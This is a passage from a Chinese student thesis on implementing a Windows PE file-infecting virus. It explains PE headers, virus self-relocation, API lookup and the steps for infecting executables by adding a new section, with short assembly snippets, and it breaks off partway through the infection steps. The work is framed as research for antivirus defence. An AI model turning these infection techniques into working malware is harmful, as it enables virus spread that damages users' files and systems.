畢業(yè)設(shè)計(論文)-簡述PE病毒在WINDOWS下地實現(xiàn)_第1頁
畢業(yè)設(shè)計(論文)-簡述PE病毒在WINDOWS下地實現(xiàn)_第2頁
畢業(yè)設(shè)計(論文)-簡述PE病毒在WINDOWS下地實現(xiàn)_第3頁
畢業(yè)設(shè)計(論文)-簡述PE病毒在WINDOWS下地實現(xiàn)_第4頁
畢業(yè)設(shè)計(論文)-簡述PE病毒在WINDOWS下地實現(xiàn)_第5頁
已閱讀5頁,還剩27頁未讀 繼續(xù)免費(fèi)閱讀

付費(fèi)下載

下載本文檔

版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請進(jìn)行舉報或認(rèn)領(lǐng)

文檔簡介

PAGE簡述PE病毒在WINDOWS下的實現(xiàn)摘要在計算機(jī)病毒技術(shù)與反病毒技術(shù)激烈斗爭的今天,病毒技術(shù)的復(fù)雜多變,發(fā)展迅速給計算機(jī)用戶同時也給反病毒技術(shù)帶了巨大的挑戰(zhàn)。本文詳細(xì)剖析了時下較流行的Windows32位操作系統(tǒng)平臺下最為常見的PE病毒機(jī)制,配合以代碼實現(xiàn)的方式,從一個病毒編寫者的角度展示病毒基本原理,并以此為契機(jī)從而做到更好的防范病毒。第一部分分別介紹了Windows病毒的基本原理、分類,并著重介紹PE病毒基本原理,基本機(jī)制;第二部分則根據(jù)PE病毒原理用編寫實際代碼的方式實現(xiàn)一個感染正常EXE文件(如WinRAR.exe)、關(guān)機(jī)并通過U盤傳播等功能的病毒程序;第三部分則通過功能測試(白盒測試)、殺毒軟件測試,總結(jié)并展望病毒技術(shù);最后通過此次課題的研究成果,結(jié)合當(dāng)今主流反病毒技術(shù),總結(jié)WindowsPE病毒防范技術(shù)。關(guān)鍵字:Windows病毒;PE病毒;反病毒技術(shù);PE文件格式;PE病毒實現(xiàn)

TheResearchandImplementationofPEDocumentaryVirusbaseonWin32PlatformAbstractNowadays,computervirustechnologyisgrowingrapidlyasfastasdevelopmentspeedofanti-virustechnology.Computervirustechnologyisbecomingcomplexandchangingrapidly.Itbringsenormouschallengestoanti-virustechnology.ThispaperanalyzesthemostcommonPEvirusmechanismbaseonWin32platformthatisexplainedbythewayofcoderealization.Thearticlealsodemonstratesthebasicmechanismofvirusfromtheperspectiveoftheviruscreatorandgivesthesuggestiontoachieveabetteranti-virusresult.Atthebeginning,thearticleintroducesthebasicknowledgeofWindowsvirusandclassification.ThisparthighlightsthebasictenetsofPEvirusandbasicmechanism.Thesecondpartcompilesthecoderealizationaccordingtotheprinciples.ItcaninfectanEXEprogram(e.g.WinRAR.exe)andspreadbyudisk.Thethirdpartshowstheresultofpassingthetest(whiteboxtesting)andmakesthesummaryandforecast.ThelastpartsummarizestheWindowsPEanti-virustechnologythroughtheresearchonthistopicwithmainstreamanti-virustechnology.

KeyWords:Windowsvirus;PEvirus;anti-virustechnology;PEformat;implementationofvirusprogram第29頁共31頁目錄論文總頁數(shù)32頁1引言 12計算機(jī)病毒概述 12.1計算機(jī)病毒的定義 12.2計算機(jī)病毒的基本性質(zhì)與本質(zhì) 23Windows病毒 43.1Windows病毒分類 43.1.1PE病毒 43.1.2腳本病毒 43.1.3宏病毒 43.2PE病毒原理 43.2.1PE文件格式 43.2.2檢驗PE文件的有效性 73.2.3病毒重定位 83.2.4獲取API函數(shù)地址 93.2.5文件操作 124WindowsPE文件病毒的研究及實現(xiàn) 144.1病毒程序?qū)崿F(xiàn) 144.1.1病毒程序編寫背景 144.1.2病毒程序基本功能介紹 154.1.3病毒程序編寫環(huán)境 154.1.4病毒程序簡要流程框圖 154.1.5病毒程序主模塊-JERRY.ASM 164.1.6病毒程序搜索API函數(shù)模塊-SearchAPI.ASM 164.1.7病毒程序感染EXE文件模塊-Modify_PE.ASM 174.1.8病毒程序感染及U盤傳播模塊-EffectU.ASM 204.1.9病毒程序發(fā)作模塊-Burst.ASM 214.2病毒程序測試 224.2.1病毒程序測試環(huán)境 224.2.2病毒程序測試過程 234.2.2病毒程序測試結(jié)果 244.3病毒程序總結(jié)分析 284.3.1病毒傳播能力分析 284.3.2病毒潛伏能力分析 284.3.3病毒破壞能力分析 284.3.4病毒程序自我總結(jié) 284.3.5病毒程序完善方向 29結(jié)論 29參考文獻(xiàn) 291引言隨著計算機(jī)和互聯(lián)網(wǎng)技術(shù)的快速發(fā)展,計算機(jī)正走進(jìn)社會的各個領(lǐng)域,走進(jìn)千家萬戶,計算機(jī)系統(tǒng)已經(jīng)能夠?qū)崿F(xiàn)生活、管理、辦公的自動化,成為人類社會不可或缺的一部分。然而,計算機(jī)系統(tǒng)并不安全,其不安的因素有計算機(jī)系統(tǒng)自身的、自然不可抗拒的,也有人為的。計算機(jī)病毒就是最不安全因素之一。計算機(jī)病毒是計算機(jī)技術(shù)和以計算機(jī)為核心的社會信息化進(jìn)程發(fā)展到一定階段的必然產(chǎn)物,是計算機(jī)犯罪的一種的新的衍化形式。自從第一例計算機(jī)病毒出現(xiàn)以來,隨著計算機(jī)技術(shù)、網(wǎng)絡(luò)技術(shù)的迅猛發(fā)展,計算機(jī)病毒也日益猖獗,成為了計算機(jī)網(wǎng)絡(luò)安全、信息安全最大公害。各種計算機(jī)病毒的產(chǎn)生和蔓延,已經(jīng)給計算機(jī)系統(tǒng)安全造成了巨大的威脅和損害,其造成的計算機(jī)資源的損失和破壞,不但會造成資源和財富的巨大浪費(fèi),而且有可能造成社會性的災(zāi)難,正因為如此,我們就應(yīng)堅決地走到反病毒的行列中來。我們研究病毒,最終目的是為了消滅病毒。大多數(shù)計算機(jī)用戶對病毒不了解才會造成病毒的橫行,對于精通病毒原理的人來說,病毒是毫無攻擊力的。我們要做到徹底地消滅病毒,那么就不能全依靠少數(shù)編寫殺毒軟件的人,而是要做到了解病毒基本原理,了解病毒只是為了認(rèn)識病毒,消除對病毒的恐懼心理,最終達(dá)到能夠防毒、清除病毒的目的。所以對于病毒基本原理的學(xué)習(xí),對計算機(jī)病毒編寫的學(xué)習(xí)是非常有意義的。WindowsPE病毒是所有病毒中數(shù)量極多、破壞性極大的、技巧性最強(qiáng)的一類病毒。譬如CIH、FunLove、中國黑客等。本文就以此類病毒為突破口,從基本原理到病毒代碼的編寫測試,完成一個基本的WindowsPE病毒模型,從而更加了解PE病毒,更好的防治病毒。本文第一部分介紹計算機(jī)基本知識;第二部分著重介紹計算機(jī)病毒中的Windows病毒,從內(nèi)核級學(xué)習(xí)PE文件格式,PE病毒原理;第三部分結(jié)合第二部分的準(zhǔn)備知識,分別介紹每個代碼模塊功能及實現(xiàn);第四部分則介紹了針對PE病毒的一些解決方案;最后一部分對計算機(jī)的防治做了展望。2計算機(jī)病毒概述2.1計算機(jī)病毒的定義計算機(jī)病毒(ComputerVirus)是一種人為的制造的、能夠進(jìn)行自我復(fù)制的、具有對計算機(jī)資源破壞作用的一組程序或指令的集合。這是計算機(jī)病毒的廣義定義。類似生物病毒,它能把自身附著在各種類型的文件上或寄生在存儲媒介中,能對付計算機(jī)系統(tǒng)和網(wǎng)絡(luò)進(jìn)行各種破壞,同時有獨(dú)特的復(fù)制能力和傳染性,能夠自我復(fù)制——主動傳染;另一方面,當(dāng)文件被復(fù)制或在網(wǎng)絡(luò)中從一個用戶送到另一個用戶時——被動傳染,他們就隨同文件一起蔓延開來。在1994年2月18日公布的《中華人民共和國計算機(jī)信息系統(tǒng)安全保護(hù)條例》中,計算機(jī)病毒被定義為:“計算機(jī)病毒是指編制或者在計算機(jī)程序中插入的破壞計算機(jī)功能或者破壞數(shù)據(jù),影響計算機(jī)使用并且能夠字我復(fù)制的一組計算機(jī)指令或者程序代碼”。這一定義具有一定的法律性和權(quán)威性。是對計算機(jī)病毒的狹義定義。2.2計算機(jī)病毒的基本性質(zhì)與本質(zhì)計算機(jī)病毒種類繁多,特征各異,其中主要的有:自我復(fù)制能力;很強(qiáng)的感染性;一定的潛伏性;特定的觸發(fā)性;很大的破壞性。1.計算機(jī)病毒的可執(zhí)行性(程序性)程序性是計算機(jī)病毒的基本特征,也是計算機(jī)病毒最基本的一種表現(xiàn)形式。程序性也就決定了計算機(jī)病毒的可防治性、可清除性。計算機(jī)病毒程序與其他合法程序一樣,是一段可執(zhí)行的程序,但他不是一個完整的程序,而是寄生在其他可執(zhí)行程序上的一段程序,因此他享有一切可執(zhí)行程序所能得到的權(quán)力。計算機(jī)的控制權(quán)是關(guān)鍵問題。反病毒技術(shù)就是要提前取得計算機(jī)系統(tǒng)的控制權(quán),識別出計算機(jī)病毒的代碼和行為,阻止起取得系統(tǒng)控制權(quán),并及時將其清除。2.計算機(jī)病毒的傳染性病毒一次源于生物學(xué),傳染也相應(yīng)成了計算機(jī)病毒最基本的特性。計算機(jī)病毒的傳染性是指病毒具有把自身復(fù)制到其他程序的能力。在生物界,病毒通過傳染從一個生物體擴(kuò)散到另一個生物體。在適當(dāng)?shù)臈l件下,他可得到大量的繁殖,并使被感染的生物體表現(xiàn)出病癥甚至死亡。同樣,計算機(jī)病毒也會通過各種渠道通過已被感染的計算機(jī)擴(kuò)散到未被感染的計算機(jī),在某些情況下造成被感染的計算機(jī)工作失常甚至癱瘓。是否具有傳染性,是判斷一個程序是否為計算機(jī)病毒的首要條件。傳染性也決定了計算機(jī)病毒的可判斷性。3.計算機(jī)病毒的非授權(quán)性計算機(jī)病毒未經(jīng)授權(quán)而執(zhí)行。正常的程序是由用戶調(diào)用,再由系統(tǒng)分配資源,完成用戶交給的任務(wù),其目的對用戶是可見的、透明的。而病毒隱藏在正常程序中,竊取正常程序的系統(tǒng)控制權(quán),其目的對用戶是未知的,是未經(jīng)用戶允許的。4.計算機(jī)病毒的隱蔽性計算機(jī)病毒通常附在正常程序中或磁盤較隱蔽的地方,也有個別的以隱含文件的形式出現(xiàn),目的是不讓用戶發(fā)現(xiàn)他的存在。如果不經(jīng)過代碼分析,病毒程序與正常程序是不容易區(qū)分開來的,而一旦病毒發(fā)作表現(xiàn)出來,往往已經(jīng)給計算機(jī)系統(tǒng)造成了不同程度破壞。正是由于隱蔽性,計算機(jī)病毒得以在用戶沒有察覺的情況下擴(kuò)散并游離與世界上的百萬臺計算機(jī)中。計算機(jī)病毒的隱蔽性通常表現(xiàn)在以下兩個方面:①傳染的隱蔽性。大多數(shù)病毒的代碼設(shè)計得非常精巧而又短小,一般只有幾百字節(jié)到幾K,而PC對文件的存取速度非???,所以病毒會在轉(zhuǎn)瞬之間便可將這些病毒程序附著在正常文件之上,一般不具有外部表象,不易被人發(fā)現(xiàn)。②病毒程序存在的隱蔽性。病毒程序通常以隱蔽的方式存在,且被病毒感染的計算機(jī)在多數(shù)情況下仍能維持起部分功能,不回因為感染上病毒而使整臺計算機(jī)不能使用。計算機(jī)病毒設(shè)計的精巧之處也在這里。5.計算機(jī)病毒的潛伏性一個編制精巧的計算機(jī)病毒程序,進(jìn)入系統(tǒng)之后一般不會馬上發(fā)作。潛伏性越好,其在系統(tǒng)中的存在時間就會越長,病毒的傳染范圍就會越大。潛伏性通常表現(xiàn)以下兩個方面:①病毒程序不用專門的檢測程序是檢查不出來的,一旦得到運(yùn)行機(jī)會就繁殖、擴(kuò)散,繼續(xù)為害。②計算機(jī)病毒中往往有一種觸發(fā)機(jī)制,不滿足觸發(fā)條件時,計算機(jī)病毒除了傳染外不做其他的破壞,只有當(dāng)觸發(fā)條件滿足時,才會激活病毒的發(fā)作模塊而出現(xiàn)中毒的癥狀。6.計算機(jī)病毒的可觸發(fā)性計算機(jī)病毒因某個事件或數(shù)值的出現(xiàn),誘使病毒實施感染或進(jìn)行攻擊的特性,稱為可觸發(fā)性。為了隱蔽自己,病毒必須潛伏,少做動作。如果完全不做動作,病毒既不能感染也不能進(jìn)行破壞,失去殺傷力。病毒既要隱蔽又要維持殺傷力,就必須具有可觸發(fā)性。病毒的觸發(fā)機(jī)制是用來控制感染和破壞動作的頻率的。病毒的觸發(fā)機(jī)制越多,則傳染性越強(qiáng)。7.計算機(jī)病毒的破壞性所有的計算機(jī)病毒都是一種可執(zhí)行的程序,而這一可執(zhí)行程序又必然要運(yùn)行,因此,所有的計算機(jī)病毒都對計算機(jī)系統(tǒng)造成不同程度的影響,輕這降低計算機(jī)系統(tǒng)工作效率、占用系統(tǒng)資源,重者導(dǎo)致數(shù)據(jù)丟失、系統(tǒng)崩潰。計算機(jī)病毒的破壞性,決定了病毒的危害性。8.計算機(jī)病毒的寄生性病毒程序嵌入到宿主程序中,依賴與宿主程序的執(zhí)行而生存,這就是計算機(jī)病毒的寄生性。病毒程序在侵入到宿主程序中后,一般對宿主程序進(jìn)行一定的修改,宿主程序一旦執(zhí)行,病毒程序就被激活,從而可以進(jìn)行自我復(fù)制和繁衍。9、計算機(jī)病毒的誘惑欺騙性某些病毒常以某種特殊的表現(xiàn)方式,引誘、欺騙用戶不自覺的觸發(fā)、激活病毒,從而實施起感染、破壞功能。如情書變種病毒之一VBS.LoveLetter.F,傳播自身的電子郵件附件名為“VirusWarning.jpg.vbs”,主題為“Dangerousviruswarning”,其內(nèi)容是“Thereisadangerousviruscirculating.Pleaseclickattachedpicturetoviewitandlearntoavoidit”。3Windows病毒3.1Windows病毒分類3.1.1PE病毒W(wǎng)in32可執(zhí)行文件,如*.exe、*.dll、*.ocx等,都是PE格式文件。感染PE格式文件的Win32病毒,簡稱PE病毒。在絕大多數(shù)病毒愛好者中,真正的病毒技術(shù)在PE病毒中才會得到真正的體現(xiàn)。PE病毒同時也是所有病毒中數(shù)量極多、破壞性極大、技巧性最強(qiáng)的一類病毒。3.1.2腳本病毒腳本(Script)病毒是以腳本程序語言(如VBScript、JavaScript、PHP)編寫而成的病毒。腳本病毒編寫比較簡單,并且編寫的病毒具有傳播快、破壞力大等特點(diǎn)。例如,愛蟲病毒、新歡樂時光病毒等。就都是用VBS(VBScript)編寫的,被稱做VBS腳本病毒。但腳本病毒必須透過Microsoft的WSH(WindowsScriptingHost)才能夠啟動執(zhí)行以及感染其他文件。3.1.3宏病毒宏病毒是單獨(dú)的一類病毒,因為它與傳統(tǒng)的病毒有很大的不同,他不感染.EXE、.COM等可執(zhí)行文件,而是將病毒代碼以“宏”的形式潛伏在MicrosoftOffice文檔中,當(dāng)采用Office軟件打開這些染毒文件時,這些代碼就會被執(zhí)行并產(chǎn)生破壞作用。由于“宏”是使用VBA(VisualBasicForApplication)這樣的高級代碼寫的,因此其編寫過程相對來說比較簡單,而功能又十分強(qiáng)大。宏病毒的產(chǎn)生標(biāo)志著制造病毒不再是專業(yè)程序員的專利,任何人只要掌握一些基本的“宏”編寫技巧即可編寫出破壞力極大的宏病毒。隨著微軟Office軟件在全世界的不斷普及,宏病毒成為傳播最廣泛、危害最大的一類病毒。3.2PE病毒原理3.2.1PE文件格式目前主流的操作系統(tǒng)是Windows操作系統(tǒng),病毒要在Windows操作系統(tǒng)上進(jìn)行傳播和破壞,其病毒文件也必須遵循PE文件的格式結(jié)構(gòu),。目前流行的計算機(jī)病毒以蠕蟲、木馬等類型病毒為住,這一類的病毒文件也大都是PE格式的文件,因此,我們在這一節(jié)會詳細(xì)介紹PE格式文件,這是分析病毒程序的基礎(chǔ)。3.2.1PE即PortableExecutable,可移植、可執(zhí)行,他是Win32可執(zhí)行文件的標(biāo)準(zhǔn)格式。他的一些特性繼承自UNIX的Coff(Commonobjectfileformat)文件格式。PortableExecutable就意味著此文件是跨Win32平臺的,即使Windows運(yùn)行在非Intel的CPU上,任何Win32平臺的PE裝載器都能識別和使用該文件格式。因而,研究學(xué)習(xí)PE文件格式,除了有助于了解病毒的傳染原理之外,還給我們提供了洞悉Windows結(jié)構(gòu)的良機(jī)。3.2.1PE文件的構(gòu)成如下:表1PE文件格式PE文件結(jié)構(gòu)的總體層次分布DOSMZHeaderDOSStubPEHeaderSectionTableSection1Section2…Sectionn1.DOS小程序PE文件以一個簡單的DOSMZheader開始。有了它,一旦程序在DOS下執(zhí)行時,就能被DOS識別出這是否是有效的執(zhí)行體,然后緊隨MZHeader之后的是DOSStub(DOS插樁程序)實際上就是一個在DOS環(huán)境下簡單調(diào)用21h中斷顯示“ThisprogramcannotberuninDOSmode”或者“ThisprogrammustberununderWin32”2.NT映像頭緊接著DOSStub的是PEHeader。PEHeader是PE相關(guān)結(jié)構(gòu)IMAGE_NI_HEADERS(NT映像頭)的簡稱,他存放了PE整個文件信息分布的重要字段。NT映像頭包含了許多PE裝載器用到的重要域。NT映像頭的結(jié)構(gòu)定義如下:IMAGE_NT_HEADERSTRUCT Signaturedd? FileHeaderIMAGE_FILE_HEADER<> OptionalHeaderIMAGE_OPTIONAL_HEADER32<>IMAGE_NT_HEADERENDS而這三部分分別有著各自的數(shù)據(jù)結(jié)構(gòu)(參見Windows.inc文件)。⑴Signaturedd?字串“50\45\00\00”⑵FileHeaderIMAGE_FILE_HEADERSTRUCT 00H Machine 機(jī)器類型 02H NumberOfSection 文件中節(jié)的個數(shù) 04H TimeDataStamp 生成該文件的時間 08H PointerToSymbolTableCOFF符號表的偏移 0CH NumberOfSymbols符號數(shù)目 10H SizeOfOptionalHeader可選頭的大小 12H Characteristics 標(biāo)記(exe或dll)IMAGE_FILE_HEADERENDS其中第2項NumberOfSection和第6項SizeOfOptionalHeader對于學(xué)習(xí)病毒是需要重點(diǎn)關(guān)注的。⑶OptionalHeader由于OptionalHeader數(shù)據(jù)定義較多,現(xiàn)只列出與學(xué)習(xí)病毒較重要的一些域。IMAGE_OPTIONAL_HEADER32STRUCT 04H SizeOfCode代碼段的總尺寸 10H AddressOfEntryPoint程序開始執(zhí)行位置 14H BaseOfCode代碼節(jié)開始的位置 1CH ImageBase可執(zhí)行文件的默認(rèn)裝入的內(nèi)存地址 20H SectionAlignment可執(zhí)行文件裝入內(nèi)存時節(jié)的對齊數(shù)字 24H FileAlignment文件中節(jié)的對齊數(shù)字,一般是一個扇區(qū) 38H SizeOfImage裝入內(nèi)存后映像的總尺寸 3CH SizeOfHeadersNT映像頭+節(jié)表的大小 40H CheckSum校驗和 44H Subsystem可執(zhí)行文件的子系統(tǒng) 5CH NumberRvaAndSize數(shù)據(jù)目錄的項數(shù),一般是16 60H DataDirectory[]數(shù)據(jù)目錄IMAGE_OPTIONAL_HEADER32ENDS3.節(jié)表緊接著NT映像頭之后的是節(jié)表。節(jié)表實際上是一個結(jié)構(gòu)數(shù)組,其中每個結(jié)構(gòu)包含了該節(jié)的具體信息(每個結(jié)構(gòu)占用28H)。該成員的數(shù)目由映像文件頭(IMAGE_FILE_HEADER)結(jié)構(gòu)中NumberOfSection域決定的。節(jié)表的結(jié)構(gòu)定義如下:IMAGE_SECTION_HEADERSTRUCT 00H Name節(jié)名 08H PhyscicalAddressOBJ文件用做表示本節(jié)的物理地址 VirtualSizeEXE文件中表示節(jié)的實際字節(jié)數(shù) 0CH VirtualAddress本節(jié)的相對虛擬地址 10H SizeOfRawData本節(jié)的經(jīng)過文件對齊后的尺寸 14H PointerToRawData本節(jié)原始數(shù)據(jù)在文件中的位置 18H PointerToRelocationOBJ中表示該節(jié)重定位信息的偏移 1CH PointerToLinenumbers行號偏移 20H NumberOfRelocations本節(jié)要重定位的數(shù)目 22H NumberOfLinenumbers本節(jié)在行號中的行號數(shù)目 24H Characteristics節(jié)屬性IMAGE_SECTION_HEADERENDS其中第2項VirtualSize、第3項VirtualAddress、第4項SizeOfRawData、第5項PointerToRawData、第10項Characteristics需要重點(diǎn)關(guān)注的。3.2.2檢驗PE文件的有效性檢驗PE文件的有效性對于有效地感染文件起著非常大的作用,因為只有在清楚了需要被感染的病毒文件是有效的PE文件時,才可以感染并且達(dá)到效果。如何才能校驗指定文件是否為一有效PE文件呢?這個問題很難回答,完全取決于想要的精準(zhǔn)程度。可以檢驗PE文件格式里的各個數(shù)據(jù)結(jié)構(gòu),或者僅校驗一些關(guān)鍵數(shù)據(jù)結(jié)構(gòu)。大多數(shù)情況下,沒有必要校驗文件里的每一個數(shù)據(jù)結(jié)構(gòu),只要一些關(guān)鍵數(shù)據(jù)結(jié)構(gòu)有效,我們就認(rèn)為是有效的PE文件了。1.校驗程序流程①首先檢驗文件頭部第一個字的值是否等于IMAGE_DOS_SIGNATURE(5A4Dh,即‘MZ’),是則DOSMZHeader有效。②一旦證明文件的DOSMZHeader有效后,就可用e_lfanew(3CH處來)來定位PEHeader了。③比較PEheader的第一個字的值是否等于IMAGE_NT_HEADER(4550h,即‘PE’)。如果前后兩個值都匹配,那我們就認(rèn)為該文件是一個有效的PE文件。2.校驗程序核心部分代碼的實現(xiàn)如下:①edi已經(jīng)指向IMAGE_DOS_HEADER結(jié)構(gòu)。然后比較DOSMZHeader的首字是否等于字符串"MZ",這里利用了Windows.inc中定義的IMAGE_DOS_SIGNATURE常量。若比較成功,則轉(zhuǎn)到判斷PEHeader,否則設(shè)ValidPE值為FALSE,意味著文件不是有效PE文件。movedi,pMappingassumeedi:ptrIMAGE_DOS_HEADER.if[edi].e_magic==IMAGE_DOS_SIGNATURE。②已定位到PEheader,需要讀取DOSMZHeader中的e_lfanew域值。該域含有PEHeader在文件中相對文件首部的偏移量。edi加上該值正好定位到PEHeader的首字節(jié)。比較它是否是字符串"PE"。這里在此用到了常量IMAGE_NT_SIGNATURE,相等則認(rèn)為是有效的PE文件。addedi,[edi].e_lfanewassumeedi:ptrIMAGE_NT_HEADERS.if[edi].Signature==IMAGE_NT_SIGNATUREmovValidPE,TRUE.elsemovValidPE,FALSE.endif3.2.3病毒重定位3.2.病毒首先第一步就需要重定位,那到底為什么要重定位呢?我們在寫正常程序的時候根本不用去關(guān)心變量(常量)的位置,因為源程序在編譯的時候它的內(nèi)存中的位置都被計算好了。程序裝入內(nèi)存時,系統(tǒng)不會為它重定位。編程時我們需要用到變量(常量)的時候直接用變量名訪問(編譯后就是通過偏移地址訪問)就行了。同時,病毒不可避免也要用到變量(常量),當(dāng)病毒感染HOST程序后,由于其依附到HOST程序中的位置各有不同,病毒隨著HOST載入內(nèi)存后,病毒中的各個變量(常量)在內(nèi)存中的位置自然也會隨著發(fā)生變化。假如病毒在編譯后,其中一變量Var的地址(004010xxh)就已經(jīng)以二進(jìn)制代碼的形式固定了,當(dāng)病毒感染HOST程序以后(即病毒相關(guān)代碼已經(jīng)直接依附到HOST程序中),由于病毒體對變量Var的引用還是對內(nèi)存地址004010xxh的引用(病毒的這段二進(jìn)制代碼并不會發(fā)生改變),而在HOST上的004010xxh的位置實際上已經(jīng)不再存放變量Var了,如果這個時候再用004010xxh的位置來調(diào)用Var那么肯定是無法成功的。這樣就造成了病毒對變量的引用不準(zhǔn)確,勢必導(dǎo)致病毒無法正常運(yùn)行。既然如此,病毒就非常有必要對所有病毒代碼中的變量進(jìn)行重新定位。3.2.既然重定位是基本且非常重要的東西,那么重定位的具體方法就顯得尤其重要了。本設(shè)計采用的是現(xiàn)在最普遍也是最有效的方法。我們先學(xué)習(xí)下call指令。call指令一般用來調(diào)用一個子程序或用來進(jìn)行轉(zhuǎn)跳,當(dāng)這個語句執(zhí)行的時候,它會先將返回地址(即緊接著call語句之后的那條語句在內(nèi)存中的真正地址)壓入堆棧,然后將IP置為call語句所指向的地址。當(dāng)子程序碰到ret命令后,就會將堆棧頂端的地址彈出來,并將該地址存放在IP中。根據(jù)以上的描述,我們就可以采取一種調(diào)用call命令的方式來獲得當(dāng)前的重定位值。重定位核心代碼實現(xiàn)如下: callrelocate………………①relocate: popebp…..② …… leaeax,[ebp+(offsetVar-offsetrelocate)]………③①這條語句執(zhí)行之后,堆棧頂端為relocate在內(nèi)存中的真正地址。②這條語句將relocate在內(nèi)存中的真正地址存放在ebp寄存器中。③這時eax中存放著Var在內(nèi)存中的真實地址。當(dāng)pop語句執(zhí)行完之后,ebp中放的是什么值呢?很明顯是病毒程序中標(biāo)號relocate在內(nèi)存中的真正地址。如果病毒程序中有一個變量Var,那么該變量實際在內(nèi)存中的地址應(yīng)該是ebp+(offsetVar-offsetrelocate),即參考量relocate在內(nèi)存中的地址+其它變量與參考量之間的距離=其它變量在內(nèi)存中的真正地址。有時候我們也采用(ebp-offsetrelocate)+offsetVar的形式進(jìn)行變量Var的重定位。還有一些其它重定位的方法,但是它們的基本原理都是一樣的。3.2.4獲取API函數(shù)地址3.2.Win32PE病毒和普通Win32PE程序一樣需要調(diào)用API函數(shù),但是普通的Win32PE程序里面有一個引入函數(shù)表,該函數(shù)表對應(yīng)了代碼段中所用到的API函數(shù)在動態(tài)連接庫(如Kernel32.dll,User32.dll)中的真實地址。這樣,調(diào)用API函數(shù)時就可以通過該引入函數(shù)表找到相應(yīng)API函數(shù)的真正執(zhí)行地址。但是,對于Win32PE病毒來說,他一般只有一個代碼段,他并不存在引入函數(shù)段。既然如此,病毒就無法像普通PE程序那樣直接調(diào)用相關(guān)API函數(shù),而應(yīng)該先找出這些API函數(shù)在相應(yīng)動態(tài)鏈接庫中的地址。.5文件操作3.2.51.文件搜索函數(shù)搜索文件是病毒尋找目標(biāo)文件的非常重要的功能。在Win32匯編中,通常采用三個API函數(shù)進(jìn)行文件搜索。①FindFirstFile該函數(shù)根據(jù)文件名查找文件。②FindNextFile該函數(shù)根據(jù)調(diào)用FindFirstFile函數(shù)時指定的一個文件名查找下一個文件。③FindClose該函數(shù)用來關(guān)閉由FindFirstFile函數(shù)創(chuàng)建的一個搜索句柄。2.文件搜索算法文件搜索一般采用遞歸算法進(jìn)行搜索,也可以采用非遞歸搜索方法,這里我們僅介紹遞歸的算法FindFileProc ①指定找到的目錄為當(dāng)前工作目錄。 ②開始搜索文件(*.*)。 ③該目錄搜索完畢?是則返回,否則繼續(xù)。 ④找到文件還是目錄?是目錄則調(diào)用自身函數(shù)FindFile,否則繼續(xù)。 ⑤是文件,如符合感染條件,則調(diào)用感染模塊,否則繼續(xù)。 ⑥搜索下一個文件(FindNextFile),轉(zhuǎn)到③繼續(xù)。FindFileEndp3.2.5內(nèi)存映射文件提供了一組獨(dú)立的函數(shù),是應(yīng)用程序能夠通過內(nèi)存指針像訪問內(nèi)存一樣對磁盤上的文件進(jìn)行訪問。這組內(nèi)存映射文件函數(shù)將磁盤上的文件的全部或者部分映射到進(jìn)程虛擬地址空間的某個位置,以后對文件內(nèi)容的訪問就如同在該地址區(qū)域內(nèi)直接對內(nèi)存訪問一樣簡單。這樣,對文件中數(shù)據(jù)的操作便是直接對內(nèi)存進(jìn)行操作,大大地提高了訪問的速度,這對于計算機(jī)病毒來說,對減少資源占有是非常重要的。1.內(nèi)存映射文件函數(shù)①CreateFileMapping該函數(shù)用來創(chuàng)建一個新的文件映射對象。②MapViewOfFile該函數(shù)將一個文件映射對象映射到當(dāng)前應(yīng)用程序的地址空間。③UnMapViewOfFile該函數(shù)在當(dāng)前應(yīng)用程序的內(nèi)存地址空間解除對一個文件映射對象的映射。④CloseHandle該函數(shù)用來關(guān)閉一個內(nèi)核對象,其中包括文件、文件映射、進(jìn)程、線程、安全和同步對象等。2.內(nèi)存映射文件方法在計算機(jī)病毒中,通常采用如下幾個步驟:①調(diào)用CreateFile函數(shù)打開想要映射的HOST程序,返回文件句柄hFile。②調(diào)用CreateFileMapping函數(shù)生成一個建立基于HOST文件句柄hFile的內(nèi)存映射對象,返回內(nèi)存映射對象句柄hMap。③調(diào)用MapViewOfFile函數(shù)將整個文件(一般還要加上病毒體的大小)映射到內(nèi)存中。得到指向映射到內(nèi)存的第一個字節(jié)的指針(pMem)。④用剛才得到的指針pMem對整個HOST文件進(jìn)行操作,對HOST程序進(jìn)行病毒感染。⑤調(diào)用UnmapViewFile函數(shù)解除文件映射,傳入?yún)?shù)是pMem。⑥調(diào)用CloseHandle來關(guān)閉內(nèi)存映射文件,傳入?yún)?shù)是hMap。⑦調(diào)用CloseHandle來關(guān)閉HOST文件,傳入?yún)?shù)是hFile。3.2.51.文件感染操作相關(guān)函數(shù)①CreateFile該函數(shù)可打開和創(chuàng)建文件、管道、郵槽、通信服務(wù)、設(shè)備以及控制臺。②CloseHandle該函數(shù)用來關(guān)閉一個內(nèi)核對象,其中包括文件、文件映射、進(jìn)。③SetFilePointer該函數(shù)在一個文件中設(shè)置當(dāng)前的讀寫位置。④ReadFile該函數(shù)用來從文件中讀取數(shù)據(jù)。⑤WriteFile該函數(shù)用來將數(shù)據(jù)寫入文件。⑥SetEndOfFile該函數(shù)針對一個打開的文件,將當(dāng)前文件位置設(shè)為文件末尾。⑦GetFileSize該函數(shù)得到指定文件的大小。⑧FlushFileBuffers該函數(shù)針對指定的文件句柄,刷新內(nèi)部文件緩沖區(qū)。2.文件感染的基本步驟(添加病毒新節(jié)的方式)①判斷目標(biāo)文件開始的兩個字節(jié)是否為“MZ”。②判斷PE文件標(biāo)記“PE”。③判斷感染標(biāo)記,如果已被感染過則跳出繼續(xù)執(zhí)行HOST程序,否則繼續(xù)。④獲得Directory(數(shù)據(jù)目錄)的個數(shù),(每個數(shù)據(jù)目錄信息占8個字節(jié))。⑤得到節(jié)表起始位置。(Directory的偏移地址+數(shù)據(jù)目錄占用的字節(jié)數(shù)=節(jié)表起始位置)。⑥得到目前最后節(jié)表的末尾偏移(緊接其后用于寫入一個新的病毒節(jié))節(jié)表起始位置+節(jié)的個數(shù)*(每個節(jié)表占用的字節(jié)數(shù)28H)=目前最后節(jié)表的末尾偏移。⑦開始寫入節(jié)表。a)寫入節(jié)名(8字節(jié))。b)寫入節(jié)的實際字節(jié)數(shù)(4字節(jié))。c)寫入新節(jié)在內(nèi)存中的開始偏移地址(4字節(jié)),同時可以計算出病毒入口位置上節(jié)在內(nèi)存中的開始偏移地址+(上節(jié)大小/節(jié)對齊+1)×節(jié)對齊=本節(jié)在內(nèi)存中的開始偏移地址。d)寫入本節(jié)(即病毒節(jié))在文件中對齊后的大小。e)寫入本節(jié)在文件中的